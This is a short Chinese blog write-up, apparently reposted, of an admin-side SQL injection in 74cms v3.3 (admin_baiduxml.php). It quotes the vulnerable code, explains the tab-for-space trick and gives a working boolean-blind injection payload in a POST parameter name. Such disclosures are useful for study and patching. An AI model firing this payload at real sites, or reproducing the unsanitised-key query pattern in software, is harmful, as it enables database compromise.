zoukankan      html  css  js  c++  java
  • 74cms v3.3 后台SQL注入

    注入存在于后台 admin_baiduxml.php

    代码 52-63行

    elseif($act == 'setsave')
    {
            $_POST['xmlmax']=intval($_POST['xmlmax']);
            $_POST['xmlpagesize']=intval($_POST['xmlpagesize'])==0?1:intval($_POST['xmlpagesize']);
            foreach($_POST as $k => $v)
            {
            !$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";
            }
            refresh_cache('baiduxml');
            adminmsg("保存成功!",2);
    }

    这里可以看到 用了 foreach 对 $POST 进行遍历,没有对$k 进行处理

    !$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";

    虽然上面两行对 xmlmax 和 xmlpagesize进行了 intval操作,但是用户可以提交如下数据 那么这里b参数就没有进行任何处理导致注入

    xmlmax=111&xmlpagesize=112&b=aaa

    空格变为了_

    可以用%09 代替 空格 

    最后bool盲注 payload:

    xmlmax=111&xmlpagesize=112&b'or%09if(1%3d(select%091%09REGEXP%09if(1%3d12,1,0x00)),1,1)%23=aaa
  • 相关阅读:
    UITableView
    xib的读取方式
    远程登录树莓派
    来体验下Linux吧
    树莓派了解Linux基本命令
    来感受Linux命令行的“真香定律”
    初尝树莓派
    从入手树莓派开始
    08-java学习笔记-集合框架中的工具类
    07-java学习笔记-map集合
  • 原文地址:https://www.cnblogs.com/depycode/p/6699847.html
Copyright © 2011-2022 走看看